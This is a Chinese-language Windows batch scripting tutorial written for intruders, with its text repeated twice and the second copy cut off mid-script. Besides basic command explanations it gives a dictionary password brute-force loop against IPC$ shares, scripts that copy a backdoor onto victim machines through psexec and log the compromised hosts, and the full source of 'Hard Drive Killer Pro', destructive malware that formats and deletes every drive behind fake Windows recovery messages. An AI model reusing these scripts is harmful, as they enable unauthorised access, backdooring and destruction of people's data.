1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d://back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if \"参数\" == \"字符串\" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if \"%1\"==\"a\" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
FOR /F [\"options\"] %variable IN (file-set) DO command
FOR /F [\"options\"] %variable IN (\"string\") DO command
FOR /F [\"options\"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F [\"options\"] %variable IN (file-set) DO command
FOR /F [\"options\"] %variable IN (\"string\") DO command
FOR /F [\"options\"] %variable IN (command) DO command
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use ////ip//ipc$ \"password\" /u:\"administrator\"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use ////ip//ipc$ \"i%\" /u:\"administrator\"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use ////ip//ipc$ \"i%%\" /u:\"administrator\"|find \":命令成功完成\">>D://ok.txt ,这样就ko了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f \"tokens=1,2,3 delims= \" %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if \"%1\"==\"\" goto usage
@for /f \"tokens=1,2,3 delims= \" %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:\"%2\"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if \"%1\"==\"a\" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ \"2%\" /u:\"3%\" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c://delshare.reg
echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters]>> c://delshare.reg
echo \"AutoShareWks\"=dword:00000000>> c://delshare.reg
echo \"AutoShareServer\"=dword:00000000>> c://delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c://delshare.reg
echo Deleting the temprotarily files.
del c://delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail: Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com .
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters] >>patch.dll
@echo \"DontDisplayLastUserName\"=\"1\" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo call format c: /q /u /autoSample >nul >>c://autoexec.bat
call attrib +r +h c://autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d//*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find \"bytes\" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.///ad/w/-p $b find \" 0 bytes free\" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. \"enddc\" stands for \"end dDRIVE cHECKING\".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cd// >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c://autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c://autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c://autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c://autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c://autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c://autoexec.bat
:makedir
if exist c://temp.bat attrib -r -h c://temp.bat >nul
echo @echo off >c://temp.bat
echo %%1:// >>c://temp.bat
echo cd// >>c://temp.bat
echo :startmd >>c://temp.bat
echo for %%%%a in (\"if not exist %%2//nul md %%2\" \"if exist %%2//nul cd %%2\") do %%%%a >>c://temp.bat
echo for %%%%a in (\">ass_hole.txt\") do echo %%%%a Your Gone @$$hole!!!! >>c://temp.bat
echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat
call attrib +r +h c://temp.bat >nul
cls
echo Initializing variables . . .
rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:// /S >nul
call attrib +r +h c://temp.bat >nul
call attrib +r +h c://autoexec.bat >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a://*. >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d://back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if \"参数\" == \"字符串\" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if \"%1\"==\"a\" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
FOR /F [\"options\"] %variable IN (file-set) DO command
FOR /F [\"options\"] %variable IN (\"string\") DO command
FOR /F [\"options\"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F [\"options\"] %variable IN (file-set) DO command
FOR /F [\"options\"] %variable IN (\"string\") DO command
FOR /F [\"options\"] %variable IN (command) DO command
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use ////ip//ipc$ \"password\" /u:\"administrator\"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use ////ip//ipc$ \"i%\" /u:\"administrator\"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use ////ip//ipc$ \"i%%\" /u:\"administrator\"|find \":命令成功完成\">>D://ok.txt ,这样就ko了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f \"tokens=1,2,3 delims= \" %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if \"%1\"==\"\" goto usage
@for /f \"tokens=1,2,3 delims= \" %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:\"%2\"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if \"%1\"==\"a\" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ \"2%\" /u:\"3%\" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c://delshare.reg
echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters]>> c://delshare.reg
echo \"AutoShareWks\"=dword:00000000>> c://delshare.reg
echo \"AutoShareServer\"=dword:00000000>> c://delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c://delshare.reg
echo Deleting the temprotarily files.
del c://delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail: Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com .
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters] >>patch.dll
@echo \"DontDisplayLastUserName\"=\"1\" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo call format c: /q /u /autoSample >nul >>c://autoexec.bat
call attrib +r +h c://autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d//*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find \"bytes\" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.///ad/w/-p $b find \" 0 bytes free\" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. \"enddc\" stands for \"end dDRIVE cHECKING\".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cd// >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c://autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c://autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c://autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c://autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c://autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c://autoexec.bat
:makedir
if exist c://temp.bat attrib -r -h c://temp.bat >nul
echo @echo off >c://temp.bat
echo %%1:// >>c://temp.bat
echo cd// >>c://temp.bat
echo :startmd >>c://temp.bat
